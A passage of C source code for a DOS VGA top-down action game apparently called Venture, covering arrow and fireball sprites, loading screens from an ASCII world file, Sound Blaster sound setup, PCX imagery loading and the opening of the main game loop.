cell_id = world[screen_y][screen_x].cells[cell_y][cell_x];
if ( (arrow_x >= 224) || (arrow_x <= 0) ||
(arrow_y > (SCREEN_HEIGHT-16)) || (arrow_y <= 0) ||
(cell_id < 32))
{
// kill arrow
arrows[index].state = ARROW_DEAD;
} // end if off edge of screen
} // end if arrow alive
} // end for index
} // end Move_Arrows
/////////////////////////////////////////////////////////////////////////////
void Start_Arrow(int x,
int y,
int xv,
int yv,
int direction)
{
// this function scans through the arrows array and tries to find one that
// isn't being used. this function could be more efficient.
int index;
// make sure user has an arrow to fire
if (num_arrows<=0)
return;
// scan for a useable arrow
for (index=0; index<NUM_ARROWS; index++)
{
// is this arrow free?
if (arrows[index].state == ARROW_DEAD)
{
// one less arrow!
num_arrows--;
// set up fields
arrows[index].state = ARROW_ALIVE;
arrows[index].x = x;
arrows[index].y = y;
arrows[index].xv = xv;
arrows[index].yv = yv;
// make sure proper animation cell is selected
arrows[index].object.curr_frame = direction;
// extract proper parameters
arrows[index].object.x = x;
arrows[index].object.y = y;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
Behind_Sprite_DB((sprite_ptr)&arrows[index].object);
// play sound
Play_Sound(SOUND_BOW);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Arrow
/////////////////////////////////////////////////////////////////////////////
void Init_Arrows(void)
{
// this function just makes sure all the "state" fields of the arrows are
// dead so that we don't get any strays on start up. Remember never assume
// that variables are zeroed on instantiation!
int index;
for (index=0; index<NUM_ARROWS; index++)
arrows[index].state = ARROW_DEAD;
} // Init_Arrows
//////////////////////////////////////////////////////////////////////////////
void Erase_Fireballs(void)
{
// this function indexes through all the fireballs and if they are active
// erases them by replacing the background color that was under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_FIREBALLS; index++)
{
// is this fireball active
if (fireballs[index].state == FIREBALL_ALIVE)
{
// extract proper parameters
fireballs[index].object.x = fireballs[index].x;
fireballs[index].object.y = fireballs[index].y;
// erase the sprite
Erase_Sprite_DB((sprite_ptr)&fireballs[index].object);
} // end if alive
} // end for index
} // end Erase_Fireballs
/////////////////////////////////////////////////////////////////////////////
void Behind_Fireballs(void)
{
// this function indexes through all the fireballs and if they are active
// scans the background color that is behind them so it can be replaced later
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_FIREBALLS; index++)
{
// is this fireball active
if (fireballs[index].state == FIREBALL_ALIVE)
{
// extract proper parameters
fireballs[index].object.x = fireballs[index].x;
fireballs[index].object.y = fireballs[index].y;
// scan begind the sprite
Behind_Sprite_DB((sprite_ptr)&fireballs[index].object);
} // end if alive
} // end for index
} // end Behind_Fireballs
/////////////////////////////////////////////////////////////////////////////
void Draw_Fireballs(void)
{
// this function indexes through all the fireballs and if they are active
// draws the missile as a bright white pixel on the screen
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_ARROWS; index++)
{
// is this arrow active
if (fireballs[index].state == FIREBALL_ALIVE)
{
// extract proper parameters
fireballs[index].object.x = fireballs[index].x;
fireballs[index].object.y = fireballs[index].y;
// draw the sprite
Draw_Sprite_DB((sprite_ptr)&fireballs[index].object);
} // end if alive
} // end for index
} // end Draw_Fireballs
/////////////////////////////////////////////////////////////////////////////
void Move_Fireballs(void)
{
// this function moves the fireballs and does all the collision detection
int index, // used for loops
fireball_x, // position of fireball
fireball_y,
fireball_x_center, // center of fireball
fireball_y_center,
cell_x,cell_y,cell_id; // used to test if fireball has hit a background cell
// loop thru all fireballs and perform a lot of tests
for (index=0; index<NUM_FIREBALLS; index++)
{
// is fireball active
if (fireballs[index].state == FIREBALL_ALIVE)
{
// move the fireball
fireball_x = (fireballs[index].x += fireballs[index].xv);
fireball_y = (fireballs[index].y += fireballs[index].yv);
// animate fireball
if (++fireballs[index].object.curr_frame == NUM_FIREBALL_FRAMES)
fireballs[index].object.curr_frame = 0;
// test if fireball hit an object
// compute center of fireball for ease of computations
fireball_x_center = fireball_x+4;
fireball_y_center = fireball_y+4;
// test to see if fireball has hit player first
if ((fireball_x_center > player.x) &&
(fireball_x_center < player.x+16) &&
(fireball_y_center > player.y) &&
(fireball_y_center < player.y+16) )
{
// hurt player a little
if ((health-=10)<0)
health=0;
// play a hurt sound
Play_Sound(SOUND_HURT);
// start an explosion
Start_Explosion(player.x, player.y,1);
// kill fireball
fireballs[index].state = FIREBALL_DEAD;
// process next interation
continue;
} // end if player hit
// test if it's hit the edge of the screen or a wall
cell_x = fireball_x_center >> 4; // divide by 16 since cells are 16x16 pixels
cell_y = fireball_y_center >> 4;
// what is the cell at this location
cell_id = world[screen_y][screen_x].cells[cell_y][cell_x];
if ( (fireball_x >= 224) || (fireball_x <= 0) ||
(fireball_y > (SCREEN_HEIGHT-16)) || (fireball_y <= 0) ||
(cell_id < 32))
{
// kill fireball
fireballs[index].state = FIREBALL_DEAD;
// start an explosion
Start_Explosion(fireball_x,fireball_y,1+rand()%2);
// process next fireball
continue;
} // end if off edge of screen
} // end if fireball alive
} // end for index
} // end Move_Fireballs
/////////////////////////////////////////////////////////////////////////////
void Start_Fireball(int x,
int y,
int xv,
int yv)
{
// this function scans through the fireballs array and tries to find one that
// isn't being used. this function could be more efficient.
int index;
// scan for a useable fireball
for (index=0; index<NUM_FIREBALLS; index++)
{
// is this fireball free?
if (fireballs[index].state == FIREBALL_DEAD)
{
// set up fields
fireballs[index].state = FIREBALL_ALIVE;
fireballs[index].x = x;
fireballs[index].y = y;
fireballs[index].xv = xv;
fireballs[index].yv = yv;
fireballs[index].object.curr_frame = 0;
// extract proper parameters
fireballs[index].object.x = x;
fireballs[index].object.y = y;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
Behind_Sprite_DB((sprite_ptr)&fireballs[index].object);
// play sound
Play_Sound(SOUND_MFIRE);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Fireball
/////////////////////////////////////////////////////////////////////////////
void Init_Fireballs(void)
{
// this function just makes sure all the "state" fields of the fireballs are
// dead so that we don't get any strays on start up. Remember never assume
// that variables are zeroed on instantiation!
int index;
for (index=0; index<NUM_FIREBALLS; index++)
fireballs[index].state = FIREBALL_DEAD;
} // Init_Fireballs
///////////////////////////////////////////////////////////////////////////////
int Load_Screens(char *filename)
{
// this functions opens the screens data file and loads and converts the screen
// database into the proper format. The screen database is in the format
// of 14 rows of 12 characters representing the screen cells then an integer
// that indicates the number of mosnters on a screen and then a set of coordinate
// pairs that position each of monsters, then the next screen and so on.
// the data is standard ASCII text
// this table is used to convert the ascii characters that represent bitmaps
// into integers
static char ascii_to_id[128] =
// ! " # $ % & ' ( ) * + , - . /
{0 ,40,0 ,0 ,34,35,0 ,0 ,0 ,0 ,36,37,33,0 ,32,0 ,
// 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,39,
// @ A B C D E F G H I J K L M N O
0 ,0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,10,11,12,13,14,
// P Q R S T U V W X Y Z [ \ ] ^ _
15,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,38,0 ,
// ` a b c d e f g h i j k l m n o
0 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,
// p q r s t u v w x y z { | } ~ DEL
31 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,99 ,0 ,};
FILE *fp; // the file we will read from
char row[128]; // used to load a row of characters
int cell_id, // the final cell id
x,y, // used for looping
index_x,index_y, // used for looping
index, // used for looping
num_monsters, // number of monsters on current screen
monster_x,monster_y; // position of a monster (in pixels/screen coords)
// try and open screen file
if (!(fp = fopen(filename,"r")))
{
printf("\nScreen Loader Error: Can't find file->%s",filename);
return(0);
} // end if couldn't find file
printf("\nLoading universe database...");
// load all sixteen screens, note: they are in the database in row major form
// i.e. the screens are loaded in this order:
//
// 1 2 3 4
// 5 6 7 8 <---4 X 4
// 9 10 11 12
// 13 14 15 16
for (index_y=0; index_y<WORLD_ROWS; index_y++)
{
for (index_x=0; index_x<WORLD_COLUMNS; index_x++)
{
// load the screen
#if DEBUG
printf("\nLoading screen #%d or (%d,%d)\n",index_x+index_y*4,index_x,index_y);
#endif
// reset number of monsters
world[index_y][index_x].num_monsters = 0;
// reset monster index
index=0;
for (y=0; y<CELL_ROWS; y++)
{
// load in next row of ASCII characters
fscanf(fp,"%s",row);
#if DEBUG
printf("\n%s\n",row);
#endif
// process row
for (x=0; x<CELL_COLUMNS; x++)
{
// convert id using ascii to id look up table
cell_id = ascii_to_id[row[x]-32];
#if DEBUG
printf("%d,",cell_id);
#endif
// place id into data structure at proper location
if (cell_id < 99)
world[index_y][index_x].cells[y][x] = cell_id;
else
{
// this must be a monster so install it into database
// scale monster position
monster_x = x << 4; // * 16
monster_y = y << 4; // * 16
#if DEBUG
printf("\n monster at (%d,%d)",monster_x,monster_y);
#endif
// record data in database
world[index_y][index_x].positions[index].x = monster_x;
world[index_y][index_x].positions[index].y = monster_y;
index++;
// place a neutral tile at this location
world[index_y][index_x].cells[y][x] = 32;
// record number of monsters in database
world[index_y][index_x].num_monsters++;
} // end else
} // end for x
} // end for y
} // end for index_x
} // end for index_y
} // end Load_Screens
///////////////////////////////////////////////////////////////////////////////
void Draw_Screen(int wx,int wy)
{
// this function uses the sent coords to select one of the screens from the
// world database to draw into the double buffer. note: everything that
// is currently in the double bufer will be obliterated after this call to
// reflect the new matrix ...Wrath of Khan
screen_ptr current_screen; // pointer to current screen
int cell_id, // the cell id
index_x,index_y; // looping variables
// set sprite size
SET_SPRITE_SIZE(16,16);
// obtain a pointer to the current screen
current_screen = &world[wy][wx];
for (index_y=0; index_y<CELL_ROWS; index_y++)
{
for (index_x=0; index_x<CELL_COLUMNS; index_x++)
{
// extract the cell id
cell_id = current_screen->cells[index_y][index_x];
// blit it into double buffer
// test for texture type
if (cell_id < 16)
{
// use the sprite that holds the blue walls
// set up sprite frame and position
wall_1.curr_frame = cell_id;
// compute screen coordinates of bitmap cell
wall_1.x = index_x << 4; // * 16
wall_1.y = index_y << 4; // * 16
Draw_Sprite_DB((sprite_ptr)&wall_1);
} // end if 0-15 blue walls
else
if (cell_id < 32)
{
// use the sprite that holds the green walls
// set up sprite frame and position
wall_2.curr_frame = cell_id-16;
// compute screen coordinates of bitmap cell
wall_2.x = index_x << 4; // * 16
wall_2.y = index_y << 4; // * 16
Draw_Sprite_DB((sprite_ptr)&wall_2);
} // end if 16-31 green walls
else
{
// must be floor texture
// set up sprite frame and position
floors.curr_frame = cell_id-32;
// compute screen coordinates of bitmap cell
floors.x = index_x << 4; // * 16
floors.y = index_y << 4; // * 16
Draw_Sprite_DB((sprite_ptr)&floors);
} // end else must be floor
} // end for x
} // end for y
} // end Draw_Screen
///////////////////////////////////////////////////////////////////////////////
void Init_Monsters(void)
{
// this function sets the state of all monsters to dead
int index;
for (index=0; index<NUM_MONSTERS; index++)
monsters[index].state = MONSTER_DEAD;
} // end Init_Monsters
//////////////////////////////////////////////////////////////////////////////
void Start_Monsters(int wx,int wy)
{
// this function refers to the world database and uses the monster info.
// to start up monsters for the screen
int index,
num_monsters;
// first kill all the monsters
Init_Monsters();
// extract number of monsters from database
num_monsters = world[wy][wx].num_monsters;
// start the monsters up
for (index=0;index<num_monsters; index++)
{
Start_Monster(world[wy][wx].positions[index].x,
world[wy][wx].positions[index].y);
} // end for index
} // end Start_Monsters
///////////////////////////////////////////////////////////////////////////////
void Save_Monsters(int wx,int wy)
{
// this function is used to save the position information about each monster
// back into the world database before a screen warp occurs
int index; // loop variable
// reset counter
world[wy][wx].num_monsters = 0;
// try and find active monsters and then store their positions back into
// the world database so when the player comes back to the room it seems
// like the monsters didn't start from their original positions
for (index=0; index<NUM_MONSTERS; index++)
{
// is this a live one
if (monsters[index].state!=MONSTER_DEAD)
{
// insert into data base
world[wy][wx].positions[index].x = monsters[index].x;
world[wy][wx].positions[index].y = monsters[index].y;
// increment number of monsters
world[wy][wx].num_monsters++;
} // end if not dead
} // end for index
// at this point the database has been updated and a screen warp can be made
// to another screen and then back with continuity
} // end Save_Monsters
///////////////////////////////////////////////////////////////////////////////
int Initialize_Sound_System(void)
{
// this function loads in the ct-voice.drv driver and the configuration file
// and sets up the sound driver appropriately
FILE *fp;
// test if driver is on disk
if ( (fp=fopen("ct-voice.drv","rb"))==NULL)
{
return(0);
} // end if not file
fclose(fp);
// load up sound configuration file
if ( (fp=fopen("venture.cfg","r"))==NULL )
{
printf("\nSound configuration file not found...");
printf("\nUsing default values of port 220h and interrupt 5.");
} // end if open sound configuration file
else
{
fscanf(fp,"%d %d",&sound_port, &sound_int);
printf("\nSetting sound system to port %d decimal with interrupt %d.",
sound_port, sound_int);
} // end else
// start up the whole sound system and load everything
Voc_Load_Driver();
Voc_Set_Port(sound_port);
Voc_Set_IRQ(sound_int);
Voc_Init_Driver();
Voc_Get_Version();
Voc_Set_Status_Addr((char far *)&ct_voice_status);
// load in sounds
sound_fx[SOUND_HURT ] = Voc_Load_Sound("VHURT.VOC ",&sound_lengths[SOUND_HURT ]);
sound_fx[SOUND_HEALTH ] = Voc_Load_Sound("VHEALTH.VOC ",&sound_lengths[SOUND_HEALTH ]);
sound_fx[SOUND_MDIE ] = Voc_Load_Sound("VMDIE.VOC ",&sound_lengths[SOUND_MDIE ]);
sound_fx[SOUND_MFIRE ] = Voc_Load_Sound("VMFIRE.VOC ",&sound_lengths[SOUND_MFIRE ]);
sound_fx[SOUND_MONEY ] = Voc_Load_Sound("VMONEY.VOC ",&sound_lengths[SOUND_MONEY ]);
sound_fx[SOUND_EAT ] = Voc_Load_Sound("VEAT.VOC ",&sound_lengths[SOUND_EAT ]);
sound_fx[SOUND_FARROW ] = Voc_Load_Sound("VFARROW.VOC ",&sound_lengths[SOUND_FARROW ]);
sound_fx[SOUND_POTION ] = Voc_Load_Sound("VPOTION.VOC ",&sound_lengths[SOUND_POTION ]);
sound_fx[SOUND_ARROW ] = Voc_Load_Sound("VARROW.VOC ",&sound_lengths[SOUND_ARROW ]);
sound_fx[SOUND_BOW ] = Voc_Load_Sound("VBOW.VOC ",&sound_lengths[SOUND_BOW ]);
sound_fx[SOUND_BAT ] = Voc_Load_Sound("VBAT.VOC ",&sound_lengths[SOUND_BAT ]);
sound_fx[SOUND_INTRO ] = Voc_Load_Sound("VINTRO.VOC ",&sound_lengths[SOUND_INTRO ]);
sound_fx[SOUND_DAGGER ] = Voc_Load_Sound("VDAGGER.VOC ",&sound_lengths[SOUND_DAGGER ]);
sound_fx[SOUND_END ] = Voc_Load_Sound("VEND.VOC ",&sound_lengths[SOUND_END ]);
sound_fx[SOUND_DEATH ] = Voc_Load_Sound("VDEATH.VOC ",&sound_lengths[SOUND_DEATH ]);
sound_fx[SOUND_GOAL ] = Voc_Load_Sound("VGOAL.VOC ",&sound_lengths[SOUND_GOAL ]);
// turn on speaker
Voc_Set_Speaker(1);
// success
return(1);
} // end Initialize_Sound_System
/////////////////////////////////////////////////////////////////////////////
void Close_Sound_System(void)
{
// this function closes down the sound system
// make sure there is sound
if (sound_available)
{
// turn off speaker
Voc_Set_Speaker(0);
// unload sounds
Voc_Unload_Sound(sound_fx[ SOUND_HURT ]);
Voc_Unload_Sound(sound_fx[ SOUND_HEALTH ]);
Voc_Unload_Sound(sound_fx[ SOUND_MDIE ]);
Voc_Unload_Sound(sound_fx[ SOUND_MFIRE ]);
Voc_Unload_Sound(sound_fx[ SOUND_MONEY ]);
Voc_Unload_Sound(sound_fx[ SOUND_EAT ]);
Voc_Unload_Sound(sound_fx[ SOUND_FARROW ]);
Voc_Unload_Sound(sound_fx[ SOUND_POTION ]);
Voc_Unload_Sound(sound_fx[ SOUND_ARROW ]);
Voc_Unload_Sound(sound_fx[ SOUND_BOW ]);
Voc_Unload_Sound(sound_fx[ SOUND_BAT ]);
Voc_Unload_Sound(sound_fx[ SOUND_DAGGER ]);
Voc_Unload_Sound(sound_fx[ SOUND_INTRO ]);
Voc_Unload_Sound(sound_fx[ SOUND_END ]);
Voc_Unload_Sound(sound_fx[ SOUND_DEATH ]);
Voc_Unload_Sound(sound_fx[ SOUND_GOAL ]);
Voc_Terminate_Driver();
} // end if sound
} // end Close_Sound_System
/////////////////////////////////////////////////////////////////////////////
void Play_Sound(int sound)
{
// this function plays a sound by turning off one if there is a sound playing
// and then playing the sent sound
// make sure there is a sound system first
if (sound_available && start_death!=1)
{
// stop the current sound (if there is one)
Voc_Stop_Sound();
// play sent sound
Voc_Play_Sound(sound_fx[sound] , sound_lengths[sound]);
} // end if sound available
} // end Play_Sound
///////////////////////////////////////////////////////////////////////////////
unsigned char Get_Pixel_DB(int x,int y)
{
// gets the color value of pixel at (x,y) from the double buffer
return double_buffer[((y<<8) + (y<<6)) + x];
} // end Get_Pixel_DB
//////////////////////////////////////////////////////////////////////////////
void Do_Intro(void)
{
// this function displays the introduction screen and then melts it
// load intro screen and display for a few secs.
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("ventint.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// play a sound
Play_Sound(SOUND_INTRO );
// let user see it
Delay(50);
Fade_Lights();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
} // end Do_Intro
///////////////////////////////////////////////////////////////////////////////
void Load_Environment(void)
{
// this function loads the imagery for the environment
int index, // loop variables
index_2;
// load in imagery
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("ventimg.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize the wall sprites and floor sprites
SET_SPRITE_SIZE(16,16);
Sprite_Init((sprite_ptr)&wall_1,0,0,0,0,0,0);
Sprite_Init((sprite_ptr)&wall_2,0,0,0,0,0,0);
Sprite_Init((sprite_ptr)&floors,0,0,0,0,0,0);
// load in frames for walls
for (index=0; index<16; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&wall_1,index,index,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&wall_2,index,index,1);
} // end for
// now load the floor textures
for (index=0; index<9; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&floors,index,index,2);
} // end for
// now load the player
Sprite_Init((sprite_ptr)&player,0,0,0,0,0,0);
// load in frames for player
for (index=0; index<16; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&player,index,index,3);
} // end for
// death sequence
for (index=16; index<21; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&player,index,index-16,6);
} // end for
// set up state information
player.x = 112-16;
player.y = 120;
player.state = PLAYER_ALIVE;
player.motion_speed = 1;
player.motion_clock = 0;
player.curr_frame = 9;
// load in the monsters
for (index=0; index<NUM_MONSTERS; index++)
{
Sprite_Init((sprite_ptr)&monsters[index].object,0,0,0,0,0,0);
for (index_2=0; index_2<NUM_MONSTER_FRAMES; index_2++)
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&monsters[index].object,index_2,index_2,4);
// set up state information
monsters[index].x = 0;
monsters[index].y = 0;
monsters[index].state = MONSTER_DEAD;
monsters[index].object.curr_frame = 8;
} // end for
// now load the bat
Sprite_Init((sprite_ptr)&bat.object,0,0,0,0,0,0);
// load in frames for bat
for (index=0; index<NUM_BAT_FRAMES; index++)
{
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&bat.object,index,index,5);
} // end for
// set up state information
bat.x = 0;
bat.y = 0;
bat.state = BAT_DEAD;
bat.object.curr_frame = 0;
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Environment
////////////////////////////////////////////////////////////////////////////
void Load_Weapons(void)
{
int index;
// load in imagery for missiles
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("ventweap.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize arrows and extract bitmaps
SET_SPRITE_SIZE(8,8);
// initialize the sprite for each arrow
for (index=0; index<NUM_ARROWS; index++)
{
Sprite_Init((sprite_ptr)&arrows[index].object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&arrows[index].object,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&arrows[index].object,1,1,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&arrows[index].object,2,2,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&arrows[index].object,3,3,0);
// set some important fields
arrows[index].x = 0;
arrows[index].y = 0;
arrows[index].object.curr_frame = 0;
arrows[index].state = ARROW_DEAD;
} // end for
// initialize the sprite for each fireball
for (index=0; index<NUM_FIREBALLS; index++)
{
Sprite_Init((sprite_ptr)&fireballs[index].object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&fireballs[index].object,0,0,1);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&fireballs[index].object,1,1,1);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&fireballs[index].object,2,2,1);
// set some important fields
fireballs[index].x = 0;
fireballs[index].y = 0;
fireballs[index].object.curr_frame = 0;
fireballs[index].state = FIREBALL_DEAD;
} // end for
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
// load in imagery for explosions
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("ventexpl.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize the explosions and extract bitmaps
SET_SPRITE_SIZE(16,16);
// load in frames for explosions
for (index=0; index<NUM_EXPLOSIONS; index++)
{
Sprite_Init((sprite_ptr)&explosions[index],0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],1,1,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],2,2,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],3,3,0);
} // end for
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Weapons
////////////////////////////////////////////////////////////////////////////
void Load_Background(void)
{
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("ventbak.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
} // Load_Background
///////////////////////////////////////////////////////////////////////////////
void Draw_Stats(void)
{
// this function draws the players statistics in the display module
char buffer[128];
// show the score
sprintf(buffer,"%ld",players_score);
Blit_String_DB(268+2,53,9,buffer,0);
// show the health
sprintf(buffer,"%d%% ",health);
// draw health in red if weak
if (health>=20)
{
Blit_String_DB(270+2,78,10,buffer,0);
// set counter almost at threshold
weak_counter=350;
}
else
{
Blit_String_DB(270+2,78,12,buffer,0);
// test if we have verbally told player he is weak
if (++weak_counter>400)
{
Play_Sound(SOUND_HEALTH);
// reset counter
weak_counter=0;
} // end if speak
} // end else player weak
// show the arrows
sprintf(buffer,"%d ",num_arrows);
Blit_String_DB(275+2,103,6,buffer,0);
// show the gold
sprintf(buffer,"%d",gold_pieces);
Blit_String_DB(259+2,127,14,buffer,0);
// show the silver
sprintf(buffer,"%d",silver_pieces);
Blit_String_DB(268+2,152,7,buffer,0);
} // end Draw_Stats
///////////////////////////////////////////////////////////////////////////////
void Glow_Dagger(void)
{
// this is a self contained functions that makes the dagger glow
static int clock=0, // used for timing, note: they are static!
entered_yet=0,
ci=2; // used to make color increase or decrease
RGB_color color; // used to hold color values during processing
// test if function is being called for first time
if (!entered_yet)
{
// reset the palette registers to bright blue, dark blue, dark blue
color.red = 32;
color.green = 0;
color.blue = 0;
Set_Palette_Register(254,(RGB_color_ptr)&color);
// system has initialized, so flag it
entered_yet=1;
} // end if first time into function
// try and glow dagger
if (++clock==1) // is it time to rotate
{
// get the color
Get_Palette_Register(254,(RGB_color_ptr)&color);
// increase or decrease color
color.red+=ci;
// test if max or min or range has been hit
if (color.red>63 || color.red<2)
ci=-ci;
// set the colors
Set_Palette_Register(254,(RGB_color_ptr)&color);
// reset the clock
clock=0;
} // end if time to rotate
} // end Glow_Dagger
//////////////////////////////////////////////////////////////////////////////
void Show_Instructions(void)
{
// this function displays the instructions and then disolves them
// load instruction screen and display it until a key press
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("ventins.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// let user see it
while(!kbhit()){};
getch();
// let's try this screen transition
Sheer();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
} // end Show_Instructions
////////////////////////////////////////////////////////////////////////////////
void Do_Goal(void)
{
// this function displays the goal screen and then disolves it
// load instruction screen and display it until a key press
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("ventgoal.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
while(kbhit())
getch();
// let user see it
while(!kbhit()){};
getch();
// let's try this screen transition
Disolve();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
} // end Do_Goal
// M A I N /////////////////////////////////////////////////////////////////
void main(void)
{
int done=0, // main event loop exit flag
index, // loop variable
cell_x,cell_y, // cell location
dx,dy, // general deltas
cell_id; // bitmap id of a cell
char buffer[128]; // used for string printing
// begin the program
printf("\nStarting Venture...");
Load_Screens("venture.dat");
// initialize sound system
sound_available = Initialize_Sound_System();
// let user think the computer is working hard
Delay(50);
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// impress user (at least try to)
Do_Intro();
// show the instructions
Show_Instructions();
// load imagery for game
Load_Environment();
// load the background into double buffer
Load_Background();
// load in imagery for weapons
Load_Weapons();
// initialize everything
Init_Arrows();
Init_Fireballs();
Init_Explosions();
// create all look up tables
Create_Lookups();
// place player in top left corner of universe
// x...
// ....
// ....
// ....
screen_x = 0;
screen_y = 0;
// install the new keyboard driver
Install_Keyboard();
// draw the initial view
Draw_Screen(screen_x, screen_y);
// the the monsters
Start_Monsters(screen_x, screen_y);
// scan under player
SET_SPRITE_SIZE(16,16);
Behind_Sprite_DB((sprite_ptr)&player);
// begin main event loop
while(!done)
{
// erase everything
SET_SPRITE_SIZE(16,16);
Erase_Sprite_DB((sprite_ptr)&player);
Erase_Arrows();
Erase_Fireballs();
Erase_Explosions();
Erase_Bat();
Erase_Monsters();
// reset screen change flag
screen_change=0;
dx=dy=0;
// test if user has pressed a key
if ((key_table[INDEX_RIGHT] || key_table[INDEX_LEFT] ||
key_table[INDEX_UP] || key_table[INDEX_DOWN] ||
key_table[INDEX_SPACE] || key_table[INDEX_ESC] ) &&
(player.state==PLAYER_ALIVE))
{
// what key was pressed
if (key_table[INDEX_ESC]) // exit game
{
done=2;
} // end if esc
else
if (key_table[INDEX_LEFT]) // move left
{
// only process if enough cycles have passed
if (++player.motion_clock==player.motion_speed)
{
player.motion_clock = 0;
++player.curr_frame;
// test frame range for left walking
if (player.curr_frame<4 || player.curr_frame>7)
{
player.curr_frame = 4;
} // end if out of frame range
// set translation factors
dx=-3;
// set direction
players_dir = PLAYER_WEST;
} // end if time to move
} // end if right
else
if (key_table[INDEX_RIGHT]) // move right
{
// only process if enough cycles have passed
if (++player.motion_clock==player.motion_speed)
{
player.motion_clock = 0;
++player.curr_frame;
// test frame range for right walking
if (player.curr_frame<0 || player.curr_frame>3)
{
player.curr_frame = 0;
} // end if out of frame range
// set translation factors
dx=3;
// set direction
players_dir = PLAYER_EAST;
} // end if time to move
} // end if right
else
if (key_table[INDEX_UP]) // move up
{
// only process if enough cycles have passed
if (++player.motion_clock==player.motion_speed)
{
// test frame range for upward walking
player.motion_clock = 0;
++player.curr_frame;
if (player.curr_frame<12 || player.curr_frame>15)
{
player.curr_frame = 12;
} // end if out of frame range
// set translation factors
dy=-3;
// set direction
players_dir = PLAYER_NORTH;
} // end if time to move
} // end if up
else
if (key_table[INDEX_DOWN]) // move down
{
// only process if enough cycles have passed
if (++player.motion_clock==player.motion_speed)
{
player.motion_clock = 0;
++player.curr_frame;
// test frame range for downward motion
if (player.curr_frame<8 || player.curr_frame>11)
{
player.curr_frame = 8;
} // end if out of frame range
// set translation factors
dy=3;
// set direction
players_dir = PLAYER_SOUTH;
} // end if time to move
} // end if down
if (key_table[INDEX_SPACE]) // fire an arrow
{
// are there any arrows left?
if (num_arrows>0)
{
Start_Arrow(player.x+4,
player.y+4,
arrow_vel_x[players_dir],
arrow_vel_y[players_dir],
players_dir);
} // end if any arrows
} // end if fire weapon
} // end if kbhit
else
if (player.state==PLAYER_DYING && player.curr_frame <= 20)
{
// this code takes care of the death sequence
// only animate if the time is right
if (++player.motion_clock==player.motion_speed)
{
// reset motion clock
